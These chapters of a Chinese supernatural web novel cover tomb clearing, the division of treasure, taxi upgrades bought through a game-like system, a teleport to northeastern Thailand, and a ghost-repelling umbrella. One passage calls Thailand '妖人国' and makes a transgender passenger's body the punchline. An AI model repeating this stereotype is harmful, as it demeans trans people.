很快,盆地里就飘起了阵阵食物的香气。
篝火燃起,炊烟袅袅。
众人围坐在一起,虽然身体疲惫,但心情却格外轻松。
享受着美食,看着头顶的星空,聊着刚才的经历,一种劫后余生的庆幸和胜利的喜悦,弥漫在每个人的心中。
这场艰难的战斗,虽然还有一些战后收尾没处理,但终究也是画上了一个圆满的句号。
第175章 战后收尾工作
第二天,清晨。
海岛上空笼罩了数日的阴霾仿佛一夜之间散尽,阳光明媚,海风带着咸湿清新的气息吹拂而过。
盆地之中,昨日激战留下的狼藉痕迹依然随处可见。
焦黑的地面、散落的碎石、焚烧尸傀留下的灰烬、以及那些布满裂纹、灵光尽失、如同废铁般散落各处的阵旗残骸,无声地诉说着昨晚那场战斗的惨烈。
一大群人此刻正**在盆地中央,那个已经塌陷、露出幽深井口的地方。
除了于子朗和小宜不在场,异灵灵异团队的核心成员几乎都到齐了。
谢潮、周星星、马季、郑立、高彦博,以及后勤组的莫作栋等人,都围在井口边。
钱老板也带着一群精壮的村民站在稍外围的地方,随时听候调遣。
于子朗是一大早就和古德打了招呼,带着小宜离开了。
小宜只有短短一天的假期,小姑娘心心念念着要回以前常去的纸扎铺买新衣服和新奇的玩具带回“下面”去玩。
于子朗一向把小宜当亲妹妹看待,自然乐得陪她,两人一大早就搭了钱老板安排的快艇离岛进城去了。
昨晚聚餐时,古德也抽空和小宜聊了几句。
从小宜叽叽喳喳、略带炫耀的叙述中,古德得知了一个重要的信息:
并非所有“下面”的存在都能随意来到这个世界。
小宜之所以能来,是因为她本质上仍算是这个世界的“原住民”魂魄,只是机缘巧合拜在了冥王茶茶门下。
而像茶茶大人麾下的其他正式鬼差,除了像岚婆这样有同意是原住民,其他鬼差都无法轻易突破某种界限来到这个灵气枯竭的现世。
这个消息让古德当时就暗暗松了一口气。
看来,这个世界并非他之前隐约担心的、与《灵魂摆渡》剧情完全重叠的那个世界。
更大的可能,是因为地府体系的庞大与包容性,使得不同“故事”背景下的幽冥存在,在更高层面上有所关联和交集,才会出现冥王茶茶这样的“跨界”存在。
这让他对未来的不确定性减少了许多担忧。
此刻,古德已经将昨晚布置在井口的那层简易封印撤去。
幽深的洞口如同怪兽的嘴巴,向外散发着若有若无的阴冷气息和淡淡的腐臭味,显示下面并不平静。
谢潮用脚踢开井口边的一块碎石,看向古德,语气沉稳地问道:
“德仔,下面的情况不明,接下来我们怎么做?直接下去吗?”
周星星一听“下去”,立刻来了精神,眼睛放光地凑过来,抢着说道:
“对啊对啊!德仔,下面可是有秦尸的宝藏啊!说不定有金元宝、夜明珠、古董玉器!我们赶紧下去搬出来分了吧!”
看他那摩拳擦掌的样子,仿佛宝藏已经摆在眼前。
古德看着周星星那财迷心窍的样子,不由得莞尔一笑,存心要逗逗他。
他故意露出严肃的表情,拍了拍周星星的肩膀,用十分信任的语气说道:
“阿星,你说得对!寻宝这种艰巨又光荣的任务,确实需要一位胆大心细、身手不凡的先锋!我看你就非常合适!
这样吧,你打头阵,下面那些残余的跳僵和鬼物就交给你解决了。等清理干净,找到宝藏,我让你优先挑一件最喜欢的,怎么样?”
他顿了顿,憋着笑补充道,“我们其他人嘛,就在后面给你呐喊助威,精神上全力支持你!你看这个安排如何?”
周星星刚开始还听得眉飞色舞,尤其是听到“优先挑一件”时,嘴角都快咧到耳根子了。
但古德最后一句话,像一盆冷水浇了下来。
他脸上的笑容瞬间僵住,连忙摆手,脑袋摇得像拨浪鼓一样,语气夸张地认怂道:
“别别别!德仔!你肯定听错了!刚才那话绝对不是我周星星说的!那是我失散多年的双胞胎兄弟周小星说的!他这个人最爱吹牛,满嘴跑火车!
我周星星为人最是谦虚谨慎,团结友爱,怎么可能一个人冲前面让大家在后面看戏呢?这种危险的话,我肯定不会说的!”
他那一本正经胡扯的样子,引得谢潮、马季等人哄堂大笑,连一向严肃的高彦博都忍不住嘴角上扬。
古德见好就收,也不再继续捉弄这个活宝。
他收敛笑容,开始正经安排任务。
他抬头对站在坑上边缘的钱老板喊道:
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>“钱老板,麻烦你找些人手,用工具把这个井口再扩大一些,方便人员和物资进出。动作小心点,别引起塌方。”
钱老板连忙点头应下:“好的,古大师!您放心,我这就安排!”
他转身招呼带来的村民,拿着铁锹、镐头等工具,开始小心翼翼地清理井口周围的碎石和泥土,扩大入口。
接着,古德转向谢潮、周星星、马季、郑立和高彦博,清晰地下达指令:
“阿潮,阿星,小马哥,下面的清理工作就交给你们了。主要目标是那些残存的跳僵,遇到直接消灭,然后把尸体抬出来统一焚烧,以绝后患。
还有一些游荡的厉鬼、恶鬼,尽量活捉,用特制的收魂袋(收魂瓶升级版)装起来换阴德。彦博,阿立,你们俩也跟着下去,多经历一下实战,对你们熟悉请神术和积累经验有好处。”
他的安排井井有条,考虑到了实战锻炼和后续处理。
周星星这时又好奇地插嘴问道:
“哎,德仔,我们都下去干活了,那你干嘛?在上面指挥啊?”
古德闻言,立刻露出一副虚弱不堪的样子,用手扶着额头,脚步还故意踉跄了一下,有气无力地说道:
“我?我当然是……养伤啊!你们看看我,昨晚又是主持大阵,又是硬抗秦尸和海魔,法力消耗过度,经脉受损,现在可是重伤员!你们难道忍心让我这个病号再下去跟那些僵尸鬼怪拼命吗?太不人道了吧!”
他一边说,一边慢悠悠地、十分惬意地一个纵身,轻松地跳出了深坑,然后找了个相对干净平整的地方,一屁股坐了下来,还不知从哪儿摸出个水壶,慢条斯理地喝起水来,摆明了就是要偷懒。
谢潮和周星星看着古德那副“无赖”样,同时翻了个大白眼,不约而同地对着他竖起了中指,表达无声的**。
马季和郑立等人也是哭笑不得,但也知道古德昨晚确实消耗最大,需要休息,便也不再说什么。
很快,钱老板手下的人就将井口扩大成了一个足够两人并排进出的洞口。
漆黑的洞口深处,隐约传来低沉的嘶吼声和若有若无的阴风,显示下面并不太平。
第176章 宝物重见天日
谢潮深吸一口气,率先检查了一下自己的装备。
打鬼棒、符箓、收魂袋一应俱全。
他对周星星点了点头,两人默契地并排站在洞口。
周星星虽然嘴上耍宝,但关键时刻从不掉链子,他也握紧了手中的打鬼棒,脸上收起了嬉笑,变得认真起来。
“下!”谢潮低喝一声,两人同时纵身跃入漆黑的洞口。
马季、郑立、高彦博以及几名身手较好的后勤组成员,也紧随其后,鱼贯而入。
他们的身影迅速被洞口的黑暗吞噬,只留下绳索摩擦的声音和渐渐远去的脚步声。
古德坐在坑边,看似悠闲地喝着水,实则灵觉早已散开,密切关注着井下的动静。
他能清晰地感知到,下面传来阵阵打斗声、符箓爆裂的闪光、以及僵尸临死前的哀嚎。
不过,这些动静都在可控范围内,而且正在逐渐向深处推进,说明谢潮他们进展顺利。
他对这几个伙伴的能力很有信心,对付一些残兵败将,问题不大。
这时,莫作栋安排好了外围的警戒,也走到古德身边坐了下来。
他看了看古德虽然有些疲惫但并无大碍的神色,犹豫了一下,还是开口说道:
“阿德,有件事……我妈她让我带个话。她说等中元节过了之后,想请你帮个忙。具体什么事,她没细说,神神秘秘的。”
古德闻言,略微有些意外。
龙婆主动相求?
他放下水壶,看向莫作栋,关切地问道:
“龙婆开口,那肯定不是小事。阿栋,龙婆是遇到什么棘手的麻烦了吗?”
莫作栋摇了摇头,脸上也带着些许困惑:
“我也不太清楚。她只说了这么一句,多的不肯讲,就说等你中元节后有空了再说。你知道的,我妈她做事一向有她的道理,不喜欢提前透露太多。”
古德点了点头,表示理解。
龙婆这类存在,往往能预感到一些常人无法察觉的因果或劫数。
他爽快地答应道:
“行,没问题。你回去跟龙婆说,等中元节过了,她什么时候方便,通知我一声就好。我一定到。”
他顿了顿,脸上露出一点八卦的笑容,话锋一转,问道:
“对了,阿栋,别光说**事。说说你自己呗,你跟那个……阿茵,就是龙婆新收的那个漂亮女徒弟,相处得怎么样了?有没有什么进展啊?”
莫作栋没想到古德会突然问这个,脸一下子涨得通红,眼神有些躲闪,嘴硬地辩解道:
“什……什么怎么样!阿茵她是我妈的徒弟,那就是我师妹!我……我怎么能对我妈的徒弟有非分之想呢!这……这不合规矩!”
他说得义正辞严,但通红的耳朵尖却出卖了他。
古德看着他这副口是心非的样子,故意拉长了音调,意味深长地“哦”了一声,调侃道:
“哦——原来是没搞定啊。阿栋,等你磨磨蹭蹭的,小心师妹被别人追走了哦。”
莫作栋被说中心事,更加窘迫,梗着脖子道:
“你……你这种不谈恋爱的人不懂!我这是……这是纯爱!是细水长流!我相信,只要我真心对她好,她迟早有一天会明白我的心意的!这叫精诚所至,金石为开!”
古德看着他一副“舔狗”宣言还自以为很深情的样子,忍不住扶额叹息,摇头道:
“阿栋啊,听哥一句劝,‘舔狗舔狗,舔到最后一无所有’。感情这事,光靠默默付出有时候是不够的,该主动时就得主动。你刚才还说不对师妹下手,转眼又说要精诚所至,这不是自相矛盾嘛。”
莫作栋被古德说得哑口无言,脸上红一阵白一阵,最后恼羞成怒地站起来,拍了拍屁股上的灰,找了个借口溜走:
“我……我去周边再看看有没有什么安全隐患!阿德你……你在这儿慢慢等他们吧!”
说完,几乎是落荒而逃。
古德看着莫作栋仓皇的背影,忍不住哈哈大笑。
不过莫作栋追阿茵的话,和菜菜芬的缘分不就没了?
古德若有所思的想到。
就在古德和莫作栋闲聊的这段时间里,井下不断有战利品被运送上来。
先是几个后勤组
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的警员,两人一组,费力地抬着一具具身披破烂古代兵甲、面目狰狞的跳僵尸体,从洞口爬出来。这些僵尸显然是被谢潮他们彻底解决了,尸体被整齐地码放在坑边空地上。
钱老板早已让人准备了大量的干荔枝柴,架起了几个巨大的柴堆。
僵尸尸体一抬上来,就被立刻扔到柴堆上,浇上煤油,点火焚烧。
熊熊烈火燃起,发出“噼啪”的声响,伴随着一股难闻的焦臭味,确保这些邪物不会再起尸害人。
接着,更让人心动的东西被抬了上来。
一口口大小不一、样式古朴的木箱和铜箱。
这些箱子看起来都十分沉重,需要两三个壮汉才能勉强抬动。
箱子上大多落满了灰尘,有些还挂着锈迹斑斑的古代铜锁。
钱老板指挥着村民们,小心翼翼地将这些箱子整齐地排列在另一边空地上。
箱子越堆越多,很快就形成了一座小山,看得人眼花缭乱,心生期待。
不用说,这些就是秦尸陪葬的财宝了。
最后,井下深处的打斗声和法术轰鸣声渐渐平息。
过了一会儿,谢潮、周星星等人陆续从洞口爬了出来。
除了周星星的米色风衣上沾了些许污渍,显得有些狼狈外,其他人看起来都还好,只是脸上带着疲惫和汗水。
郑立和高彦博手里还提着几个微微鼓动、贴着符箓的收魂袋,显然成功活捉了一些鬼物。
“搞定了!”
谢潮走到古德面前,简短地汇报。
“下面的跳僵大概还有二十多具,已经全部清理。厉鬼恶鬼抓了七八个,其余的负隅顽抗,都消灭了。没发现其他异常。”
周星星则一上来就迫不及待地跑到那堆箱子前,搓着手,眼睛放光地嚷嚷:
“哇!这么多箱子!发达了发达了!德仔,我们什么时候开箱啊?我都等不及了!”
古德看着安然归来的伙伴们,以及那堆积如山的箱子,脸上露出了欣慰的笑容。
最危险、最艰难的部分已经过去,接下来,就是享受胜利果实的时候了。
第177章 清理房间
海岛之行,终于在一片狼藉与丰收交织的复杂情绪中落下帷幕。
接下来的便是喜闻乐见、人人有份的“战利品”分配环节。
过程无需一一赘述。
总之,在古德的主持下,根据各人在此次行动中的出力多寡、贡献大小,并结合了自愿协商、按需分配的原则。
从那个被掏空的地下墓穴中起获的金银珠宝、古董玉器,以及钱、李、杨三大家族为表感激而额外奉上的“谢礼”,都得到了妥善的分配。
谢潮、周星星等人自然是收获颇丰,一个个脸上都乐开了花,连一向沉稳的谢潮,眼底都带着掩不住的笑意。
马季更是抱着他那份,傻笑了半天。
而古德自己,除了应得的那份财物外,他更看重的是那些用钱也难以买到的东西。
他利用这次机会,与根基深厚的钱、李、杨三家进行了交涉,从他们家族传承数百年的秘藏宝库中,精心挑选并置换了一批在外界早已绝迹的稀有炼器材料。
这些材料,对于他日后炼制更强大的法器、绘制更高阶的符箓,有着不可估量的价值。
可以说,这次冒险,虽然过程惊险刺激,几次命悬一线,但最终的回报,绝对是超乎想象的丰厚,让每个人都感到不虚此行,心满意足。
在岛上又休整了一日,彻底恢复了精神后,众人搭乘钱老板特意安排的豪华游艇,离开了这座给他们留下深刻印象的小岛,踏上了返程之路。
蔚蓝的海面波光粼粼,海风拂面,与来时那种隐隐的压抑和未知感截然不同,归途充满了轻松与释然。
游艇缓缓停靠在香江熟悉的码头。
众人互相道别,各自带着收获返回岗位或家中。
古德也再次开上了他那辆看似普通、实则内藏玄机的红色出租车,驶过九十年代香江略显拥挤但充满生活气息的街道,最终回到了他那栋位于半山、此时略显冷清的小洋楼。
推开有些沉重的实木大门,一股淡淡的、久未住人的尘埃气息扑面而来。
阳光透过百叶窗的缝隙,在空气中划出几道清晰的光柱,光柱中无数微小的尘埃精灵正在悠闲地舞蹈。
家具表面都蒙上了一层薄薄的灰,显得有些寂寥。
“唉……”
古德叹了口气,把沉重的行囊随手放在门厅,揉了揉有些发酸的肩膀,自言自语地吐槽道:
“果然,出门久了,家里就落灰了。”
抱怨归抱怨,活还得干。
不过,对于现在的古德来说,打扫卫生这种小事,早已不需要亲自动手了。
他从随身携带的帆布挎包里,熟练地抽出了三张黄色的符纸。
符纸质地特殊,上面用朱砂绘制着简洁而玄奥的符文,隐隐流动着微弱的灵光。
一张是净宅符,专司驱散晦气、净化气场;另外两张是除尘符,负责物理层面的清洁。
他走到客厅中央,神色轻松,手腕轻轻一抖,将三张符纸看似随意地向空中一抛。
神奇的是,符纸并未飘落,而是轻飘飘地悬浮在了半空之中,仿佛有无形的手托着。
古德并指如剑,指尖隐约有微光流转,对着空中的符纸朗声念诵道:
“手持清净法,眼观无尘界。”
随着咒文起首,净宅符无火自燃,化作一团柔和的白色光晕,如同水波般向四周荡漾开来,所过之处,空气中那股沉闷的气息顿时一扫而空,变得清新宜人。
“一洒天花落,再洒地生莲。”
第一张除尘符随之燃烧,化为点点晶莹的白色光屑,如同雪花般飘洒而下。光屑落到家具、地板、窗帘上,那些附着的灰尘仿佛遇到了克星,自动剥离、汇聚。
“三洒家宅内,污秽尽扫灭。”
第二张除尘符最后燃尽,化作一股无形无质、却又能清晰感知到的清风,在屋内盘旋。这股风温柔而有力,将那些汇聚起来的灰尘卷成一团,如同一个灰色的棉花球。
“常居清净府,永住安乐轩。急急如律令!”
最后一句咒语落下,悬浮的灰球被清风包裹着,稳稳当当地从打开的窗户飞了出去,精准地落入了院子角落的大型分类垃圾桶里。
整个清洁过程,无声无息
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,高效得令人咋舌。
没有吸尘器的噪音,没有水流的哗啦声,只有符纸燃烧时细微的“噗”声和清风的微响。
但效果却是立竿见影,堪称神迹!
前后不过一两分钟,整个一楼客厅、连同开放的餐厅和厨房,已经变得窗明几净,一尘不染!
阳光照进来,地板和家具表面都反射着温润的光泽,仿佛刚刚被专业团队精心打理过一般。
古德环顾四周,满意地点了点头,摸了摸下巴,脸上露出一丝颇为自得的神色,小声嘀咕道:
“嗯,效果不错。唉,就是辛苦我自己了,还得动用法力来打扫……”
他这略带凡尔赛的自言自语,若是让还在苦哈哈亲手做家务的周星星等人听见,怕是又得收获一堆白眼和中指。
至于之前乔迁新居时,为什么他要大张旗鼓地请谢潮、周星星他们来“温锅”,热热闹闹地一起打扫,而不用这方便的符咒?
古德心里自有打算。
那不仅仅是为了打扫,更是一种仪式感,一种朋友相聚、人气充盈的象征,是为了给这栋老房子增添烟火气和生机。
直接用符咒搞定,虽然省事,却少了那份热闹和人情味。
有些时候,过程比结果更重要。
简单收拾完起居空间,古德感觉一阵倦意袭来。
连续的精神紧绷和法力消耗,不是睡一两天就能完全补回来的。
他瘫倒在客厅那张柔软的老式沙发里,发了会儿呆,忽然觉得有些无所事事。
海岛上的惊心动魄仿佛还在昨日,一下子回归平静的日常生活,反而有点不太适应。
“闲着也是闲着,看看这次收获怎么样吧。”
他心念一动,召唤出了只有他自己能看见的系统面板。
半透明的蓝色光屏浮现在眼前,数据清晰罗列:
【姓名:古德】
体质:9/10
魅力:8/10
精神:9/10
法力:9/∞
可用公里点数:590
【当前阴德:23460/30000(系统升级进度)】
第178章 升级后备箱和导航
古德仔细浏览着数据,心中默默盘算。
这次海岛之行的收获,在属性面板上直接体现为法力值永久性地提升了1点,这得益于他多次全力催动阵法、引动星宿之力,使得自身法力得到了锤炼和扩容。
而最大的收获,无疑是阴德!
上交岚婆处理的那个千年海魔萨拉莎是大头,加上前期在岛上清除的作乱鬼物,以及后期在墓穴中抓到的那些厉鬼,林林总总加起来,竟然一次性入账了高达22000点的阴德!
这绝对是一次史诗级的大丰收!
看着阴德总数达到23460,距离系统升级所需的30000点,只剩下6540点的缺口了。
古德的心头一阵火热,充满了期待。
“还差六千多……快了,就快了。”他低声喃喃,眼神中闪烁着光芒,“不知道这次系统升级,会解锁什么不得了的新功能?上一次是全球行,这次会不会开启什么跨界传送门?”
畅想了一番,古德很快冷静下来。
他知道,阴德赚取不易,且用且珍惜。
在系统升级之前,还是得先升级他那辆宝贝出租车了,毕竟这是他吃饭的伙计。
他意念集中,打开了系统商城的载具强化分类。
琳琅满目的升级选项浮现出来,看得他眼花缭乱,但很多后面都跟着一长串零,让他只能流口水。
经过一番精挑细选和性价比权衡,古德最终锁定了两个当前最实用、且能负担得起的升级项:
【后备箱空间(乾坤一掷百宝箱)】:售价2000阴德。
效果(请看前文)
【AR实景导航系统(全球版)】:售价1000阴德。
效果:在车辆前挡风玻璃上投射只有宿主可见的增强现实导航界面,集成全球高清地图,实时路径规划。备注:路痴救星,探险必备!妈妈再也不用担心我开进乱葬岗了!
“嗯,就这两个了!”
古德拍板决定,“后备箱空间是刚需,以后琴盒法坛、备用法器、甚至临时捡点‘材料’都有地方放了。导航系统也很实用,下次再被丢到什么陌生城市,也不至于抓瞎。”
至于什么【大灯组件】、【发动机核心】、【车载电台】这些更诱人的选项,只能等以后升级完系统,阴德宽裕了再说。
下定决心后,古德起身来到院子里的出租车旁。
他用手抚摸着冰凉的车身,意念连接系统:
“系统,兑换并安装‘后备箱空间(乾坤一掷百宝箱)’和‘AR实景导航系统(全球版)’!”
【叮!接收到宿主指令。】
【正在扣除阴德值……扣除成功。当前阴德:23460-3000=20460点。】
【开始载具升级……升级完成。】
【提示:新功能已生效,请宿主自行体验。】
系统的提示音一如既往的简洁高效。
然而,升级过程却平淡得让人有些失望。
没有炫酷的光效,没有震动的音效,甚至连车子抖一下都没有。
就好像只是……刷新了一下数据。
“这就……完了?”
古德有些难以置信地眨了眨眼,“三千阴德花出去,连个响动都没有?也太低调了吧?”
他怀着好奇和一丝忐忑,绕到车后,轻轻掀开了后备箱盖。
“嚯!”
即使有所心理准备,眼前的景象还是让古德倒吸了一口凉气,瞳孔微微放大!
只见后备箱内部,已经不再是那个狭小的空间,而是变成了一片深邃、漆黑、仿佛望不到边的巨大空间!
足足有1000立方米!1000立方米是什么概念?
差不多相当于一个标准游泳池的大小了!
而他之前放在里面的那个黑色琴盒法坛、几件备用工具、一个急救包(海岛换来的材料和宝贝此时让谢潮派人稍后送来),此刻悬浮在这片空间的角落,并且自动排列得整整齐齐!
古德意念一动,想着“把琴盒拿到手边”,那琴盒就瞬间出现在他触手可及的位置!
再一想
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“归类”,所有物品又唰地一下分门别类,码放得井井有条!
“这……这简直是神技啊!再也不用担心装备太多放不下了!告别火力焦虑,从拥有一个移动**库开始!”
古德忍不住惊叹,脸上露出了孩子得到新玩具般的兴奋笑容。
“自动整理功能也太贴心了吧!以后再也不用担心东西乱放了!”
他兴奋地测试了几下,玩得不亦乐乎。
然后,他强压下激动的心情,回到驾驶座。
系好安全带,心念再次一动:“开启AR导航。目的地:纸扎陈的店铺。”
下一秒,奇妙的事情发生了。
在车子的前挡风玻璃上,一个半透明、散发着微蓝光芒的虚拟屏幕悄然浮现。
屏幕丝毫不遮挡现实视线,上面清晰地显示着香江的电子地图,一个绿色的箭头光标代表当前车辆位置,一条优化的行车路线被高亮标注出来。
更神奇的是,在车头正前方的现实路面上空约一米处,一个由光线构成的、箭头形状的虚拟路标悬浮着,指引着前进方向。
整个界面科技感十足,却又与这个九十年代的背景奇异地融合在一起。
“牛逼!”
古德忍不住爆了句粗口,这效果,比他前世用过的任何车载导航都先进一百倍!
他试着用意念输入了几个偏僻的、甚至只是听说过名字的地方,导航都能瞬间响应,规划出最优路径!
体验完两大新功能,古德心满意足地靠在驾驶椅上。
随即又坐了起来。
“不行,现在可不是休息的时候。得动起来了,公里数不多了,得赚点‘公里数’压压惊。”
古德舔了舔嘴唇,眼中重新燃起了干劲,“正好试试新导航的效果,看看能不能接到点‘顺路’的‘好活儿’。”
他转动钥匙,发动了这辆已然焕然一新的出租车。
引擎发出低沉的轰鸣,车头那枚虚拟的指引箭头闪烁着微光,指向了繁华而又隐藏着无数故事的香江街头。
第179章 再次出现的异国通道
七月十三日,夜晚十点。
香江的街头依旧灯火通明,霓虹闪烁,晚风带着一丝闷热和潮湿的气息。
古德开着那辆经过“升级”的红色出租车,结束了平淡无奇的一天运营。
系统面板上,代表公里点数的数字缓缓跳动了最后一下,停在了590+265=855的数字。
“收获265点,还算不错。”
古德轻轻呼出一口气,揉了揉有些发酸的眼睛,准备打道回府。
连续几天的海岛惊魂加上今天的正常出车,他也感到了一丝疲惫。
他转动方向盘,打算在前面的路口调头,返回半山的小洋楼。
然而,就在车子即将驶入调头车道的一刹那——
异变陡生!
毫无征兆地,在车头正前方约十米处的路面上空,空气猛地一阵扭曲、旋转!
一个直径约三米、边缘闪烁着不稳定幽蓝色电光的诡异漩涡,如同凭空撕裂的伤口般,骤然出现!
漩涡中心是深不见底的黑暗,散发出一种冰冷、吸摄灵魂的异常空间波动!
“我靠!不是吧?!”
古德瞳孔骤然收缩,差点一脚把刹车踩进发动机里!
他心中警铃大作,一股熟悉的预感涌上心头:“又又又来?!这破系统!大晚上的也不让人消停!这次又要送我去哪个犄角旮旯?大晚上的过去难道是去载鬼吗?!”
他忍不住在心里疯狂吐槽!
这随机传送服务也太不人性化了!
连个提前预告都没有!
但吐槽归吐槽,身体的反应却快过思考。
几乎是本能,他双手死死握紧方向盘,双脚稳稳踩住刹车和离合器,全身肌肉紧绷,做好了应对意外的准备。
根本来不及做出任何规避动作!
下一瞬,出租车仿佛被一只无形巨手抓住,“嗖”地一下,被一股无可抗拒的庞大吸力,猛地拽入了那个幽蓝漩涡之中!
车窗外的景象瞬间扭曲、拉长、破碎,化作一片光怪陆离、无法理解的彩色线条洪流!
强烈的失重感和空间撕扯感传来,仿佛正在穿越一条极不稳定的时空隧道。
【叮!检测到符合条件的目标人物!随机全球传送服务启动!正在定位……定位成功!传送开始!请宿主系好安全带,放松身心,享受本次跨洋之旅!祝您旅途愉快!】
系统那冰冷而机械的提示音,适时地在古德脑海中响起,带着一种事不关己的轻松语调,更是让古德气得牙痒痒。
“我享受你个鬼啊!”古德忍不住骂出声。
好在这次传送过程似乎比上次短一些。
大约十几秒后,周围的流光溢彩骤然消失,强烈的颠簸感和失重感也瞬间停止。
出租车“嘭”地一声,轻微震动了一下,仿佛落在了实地上。
车窗外的景象已经彻底改变。
湿热、夹杂着浓郁植物清香和某种香料气味的空气,透过微微摇下的车窗缝隙涌了进来。
耳边传来阵阵不知名虫豸的鸣叫,以及远处隐约的、节奏奇特的传统音乐声。
映入眼帘的不再是香江繁华的夜景,而是一条略显狭窄、灯光昏黄的街道。
街道两旁是充满东南亚风情的低矮建筑,多是木质结构,屋顶陡峭。
一些店铺门口挂着看不懂的泰文招牌和闪烁的霓虹灯。
路灯是那种老式的、散发着昏黄光晕的款式,在湿热的空气中形成一圈圈光晕。
更让古德注意的是,他这辆车的外观,在他毫不知情的情况下,再次被系统自动“伪装”了。
原本红色的车身,变成了一种略显陈旧、介于军绿色和土黄色之间的颜色,车型也更像是当地常见的那种皮实耐用的老旧出租车款式。
【叮!传送完毕!当前位置:暹罗国(妖人国)东北部,伊善地区。祝您旅途愉快,业务顺利!】
系统的提示再次响起,坐实了古德的猜测。
“暹罗东北部伊善……还真是个‘好’地方。”
古德撇了撇嘴,对这个以神秘文化、降头术和某些特殊行业闻名的地方并无太多好感。
他调整了一下呼吸,准备看看这次“有缘人”是谁。
就在这时,一道窈窕的身影从旁边一条昏暗的小巷里摇摇晃晃地走了出来,径直站到了马路中间,伸手拦车。
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古德定睛一看,不由得嘴角微微抽搐了一下。
拦车的是个女人。
身材确实火辣惹眼,穿着一条紧身的、开叉极高的亮片连衣裙,勾勒出**的曲线。
脚上踩着一双亮闪闪的细高跟凉鞋。
脸上画着浓艳的妆容,假睫毛长得能扇风,一头大波浪长发披散在肩头。
然而……
当这个女人用略带沙哑、明显中气不足、甚至带着点粗粝感的嗓音,对古德说“萨瓦迪卡~叽里呱啦~”的时候,古德凭借远超常人的敏锐感知,瞬间就察觉到了不对劲。
这嗓音……这喉结……这过于宽阔的肩膀……
古德心中顿时了然,暗叹一声:‘果然名不虚传,妖人国……这分明是位带把的兄弟啊!’
他倒是没有歧视的意思,就当开阔了一下眼界。
不过这次的目标,身上似乎并没有缠绕什么明显的阴气或者怨念,就是一个……普通的“夜生活从业者”?
‘奇怪,系统怎么会锁定他?难道接错人了?’古德心中升起一丝疑惑。
但既然系统已经把他送来了,人也上车了,这单“生意”不做也得做。
他不动声色,心中默念系统,花费了少许点数,瞬间掌握了基础的泰语交流能力。
然后,他面色平静地用流利的泰语确认道:“去叽里呱啦村?好的,请上车。”
这位妖人姑娘也没多想,拉开车门,动作略带僵硬地坐了进来,带进一股浓烈的廉价香水混合着汗味的气息。
古德面不改色,心念一动,唤出了刚刚升级的AR全球导航系统。
在只有他能看见的前挡风玻璃上,一个虚拟界面迅速展开。
他用意念输入了“叽里呱啦村”这个听起来就很随意的地名。
导航立刻响应,一条清晰的路线被规划出来,一个发光的虚拟箭头出现在车头前方,指向道路的尽头。
“坐稳了。”
古德用泰语说了一句,随后挂挡、给油,这辆经过伪装的出租车,载着一位特殊的乘客,融入了暹罗东北部伊善地区闷热而神秘的夜色之中。
与此同时,地球的另一端,香江。
第180章 纸扎陈的新发明
夜色渐深,但位于一条僻静老街的陈氏纸扎铺,此时却依然亮着灯。
店铺门口挂着两盏昏黄的白灯笼,灯笼上写着黑色的“奠”字。
橱窗里陈列着各种纸扎的童男童女、金山银山、别墅汽车,在昏暗光线下,透着一种难以言喻的诡异气息。
店铺内,灯光比门口亮堂些,但依旧显得有些昏黄。
空气中弥漫着纸张、浆糊和香烛混合的特殊气味。
周星星和谢潮两人,正站在店里,一人手里拿着一把看起来十分普通的黑色长柄雨伞,脸上带着几分好奇和探究。
有着一个光亮发型的纸扎陈,正唾沫横飞、一脸得意地指着他们手中的伞,向两人介绍他的“最新发明”。
“阿星!阿潮!你们两个后生仔,可千万别小看手里这把伞!”
纸扎陈的声音不快不慢,“你们以为,这只是一把普普通通、下雨天用来挡雨的黑色雨伞吗?”
周星星闻言,下意识地低头看了看自己手里那把黑不溜秋、毫无特色的伞,又抬头看了看纸扎陈,眨了眨眼睛,脸上的表情分明在说:
‘陈师傅,这难道不是一把伞吗?它长得就跟路口便利佳卖三十块一把的一模一样啊!’
纸扎陈看到周星星的表情,嘿嘿一笑,脸上得意之色更浓。
他“唰”地一下,动作流畅地将他手中那把样品伞撑开,举过头顶。
奇妙的事情发生了!
伞的内侧,并非普通的黑色衬布,而是覆盖着一层细密的、用特殊银色丝线绣成的复杂符文!
当伞撑开的瞬间,“啪”的一声轻响,伞骨顶端一枚隐藏的小灯泡竟然亮了起来,投下一道柔和却异常明亮、仿佛带有净化力量的白光,恰好将纸扎陈整个人笼罩在内!
“看到没有!”
纸扎陈的声音提高了几分,“这其实是一个移动的驱邪照明灯!我在里面加入了特制的‘小金光护身符箓’!只要在这灯光照耀范围内,普通的游魂野鬼、甚至一些低级的恶灵,根本不敢靠近!光芒所至,诸邪避易!”
他顿了顿,继续推销他的理念:
“你们想啊,以后你们异灵灵异部门的伙计出去办事,特别是晚上,或者去那些阴气重的地方。每人撑开这么一把伞,照亮一片安全区!
然后再配上我最新改进的、成本降低了三成、威力却加了半成的‘灭魂枪3.0’版本!清理起那些脏东西来,岂不是如虎添翼,安全又高效?!”
纸扎陈越说越兴奋,挥舞着手臂:
“怎么样?阿星,阿潮,你们说说,我这个设计,是不是天才的构思?是不是划时代的发明?”
周星星虽然觉得这造型有点……别致,但看到那实实在在发出的让人感觉安心舒适光芒的雨伞,还是十分捧场地用力鼓起掌来,脸上堆满夸张的赞叹表情:
“厉害!太厉害了!陈师傅!您真是我们香江灵异界的爱迪生啊!这想法,绝了!”
谢潮则要冷静务实得多。
他仔细看了看伞内的结构和灯泡,又感受了一下那光芒的效果,然后一针见血地问道:
“师父,想法是不错。但这伞……电能续航怎么样?能亮多久?别像上次那个吸尘器一样,用个几分钟就得找插座充电,那实战起来可就抓瞎了。”
他可是对上次那款号称“鬼怪克星”、结果电量捉急的吸尘器记忆犹新。
纸扎陈听到这个问题,非但没有尴尬,反而哈哈大笑,脸上露出“就等你问这个”的表情。
“阿潮!你这个问题问到点子上了!上次吸尘器的教训,师父我怎么可能不吸取?”
他得意地用食指,对准伞柄上一个不太起眼的、指甲盖大小的圆形按钮,轻轻按了下去。
“咔哒。”
一声轻微的机括声响起。
紧接着,神奇的一幕发生了!
那撑开的伞面,竟然缓缓地、然后逐渐加速地自动旋转了起来!转速不快不慢,带起一阵轻微的凉风。
“瞧见没有!”
纸扎陈声音洪亮,“自发电黑科技!只要按下这个按钮,伞面就会旋转!旋转产生的动能,就能实时转化为电能
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,给里面的灯泡和符箓阵法充电!
理论上,只要伞在转,能量就源源不绝,永远不用担心断电!再按一下,它就停!”
说着,他又按了一下按钮,旋转的伞面果然缓缓停了下来。
谢潮看着这把一边旋转一边发光的黑伞,嘴角忍不住剧烈地抽搐了好几下。
